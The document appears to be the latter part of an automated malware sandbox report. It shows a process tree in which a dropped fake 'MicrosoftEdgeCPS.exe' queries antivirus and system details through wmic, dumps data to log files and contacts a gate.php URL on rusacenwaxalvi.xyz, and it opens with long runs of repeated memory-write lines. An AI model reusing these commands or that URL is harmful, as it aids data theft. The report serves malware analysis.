chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4976 2792 chrome.exe 135 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4420 2792 chrome.exe 136 PID 2792 wrote to memory of 4436 2792 chrome.exe 137 PID 2792 wrote to memory of 4436 2792 chrome.exe 137 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 2792 wrote to memory of 4476 2792 chrome.exe 138 PID 4436 wrote to memory of 4524 4436 chrmstp.exe 140 PID 4436 wrote to memory of 4524 4436 chrmstp.exe 140 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139 PID 2792 wrote to memory of 4536 2792 chrome.exe 139
Processes
-
C:\Users\Admin\AppData\Local\Temp\958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe"C:\Users\Admin\AppData\Local\Temp\958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3568 -
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4028
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" os get caption /FORMAT:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_VideoController get caption /FORMAT:List3⤵PID:1584
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List3⤵PID:1284
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List3⤵PID:416
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_PingStatus where address='rusacenwaxalvi.xyz' get StatusCode /FORMAT:List3⤵PID:2800
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_PingStatus where address='rusacenwaxalvi.xyz' get ResponseTime /FORMAT:List3⤵PID:2216
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\1.log"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2304
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\4.log"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2460
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\2.log"3⤵
- Executes dropped EXE
PID:1596 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 884⤵
- Program crash
PID:3092
-
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\3.log"3⤵
- Executes dropped EXE
PID:3504
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/VisitTimeFilterType 2 /VisitTimeFilterValue 6 /scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\6.log"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3900
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe/scomma "C:\Users\Admin\AppData\Roaming\EdgeCP\5.log"3⤵
- Executes dropped EXE
PID:3320 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3320 -s 884⤵
- Program crash
PID:2248
-
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exeX http://rusacenwaxalvi.xyz/dimwebpan/gate.php*Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141*7052770e4931b3197e6e9a0bccc1d8413⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:420 -
C:\Program Files (x86)\Windows NT\Accessories\wordpad.exeX C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe4⤵PID:496
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 496 -s 885⤵
- Program crash
PID:3392
-
-
-
C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\86.0.4240.111_chrome_installer.exeX C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe4⤵
- Drops file in Program Files directory
PID:3868 -
C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\CHROME.PACKED.7Z" X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe5⤵
- Executes dropped EXE
PID:3820 -
C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x250,0x254,0x258,0x22c,0x25c,0x7ff75ac57740,0x7ff75ac57750,0x7ff75ac577606⤵
- Executes dropped EXE
PID:976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --force-first-run6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:2792 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffb8b4d6e00,0x7ffb8b4d6e10,0x7ffb8b4d6e207⤵PID:2776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:27⤵PID:3452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1764 /prefetch:87⤵
- Suspicious behavior: EnumeratesProcesses
PID:3824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2760 /prefetch:17⤵PID:3720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2748 /prefetch:17⤵PID:3732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:17⤵PID:3908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:17⤵PID:2788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:17⤵PID:3484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:17⤵PID:3380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4224 /prefetch:87⤵PID:4260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4336 /prefetch:87⤵PID:4976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4256 /prefetch:87⤵PID:4420
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings7⤵PID:4436
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6db7a7740,0x7ff6db7a7750,0x7ff6db7a77608⤵PID:4524
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4928 /prefetch:87⤵PID:4476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4900 /prefetch:87⤵PID:4536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4004 /prefetch:87⤵PID:4648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5612 /prefetch:87⤵PID:4660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 /prefetch:87⤵PID:4732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4936 /prefetch:87⤵PID:4776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5260 /prefetch:87⤵PID:4816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5236 /prefetch:87⤵PID:4860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5380 /prefetch:87⤵PID:4268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5048 /prefetch:87⤵PID:4944
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5360 /prefetch:87⤵PID:5008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 /prefetch:87⤵PID:5068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5900 /prefetch:87⤵PID:5108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6184 /prefetch:87⤵PID:1472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6172 /prefetch:87⤵PID:4456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6440 /prefetch:87⤵PID:4516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6704 /prefetch:87⤵PID:4504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6728 /prefetch:87⤵PID:4656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6660 /prefetch:87⤵PID:4796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4748 /prefetch:87⤵PID:4924
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5556 /prefetch:87⤵PID:5012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7104 /prefetch:87⤵PID:5000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:17⤵PID:4948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7316 /prefetch:87⤵PID:4416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7100 /prefetch:87⤵PID:4492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7576 /prefetch:87⤵PID:3596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7292 /prefetch:87⤵PID:4480
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7696 /prefetch:87⤵PID:4684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7944 /prefetch:87⤵PID:4364
-
-
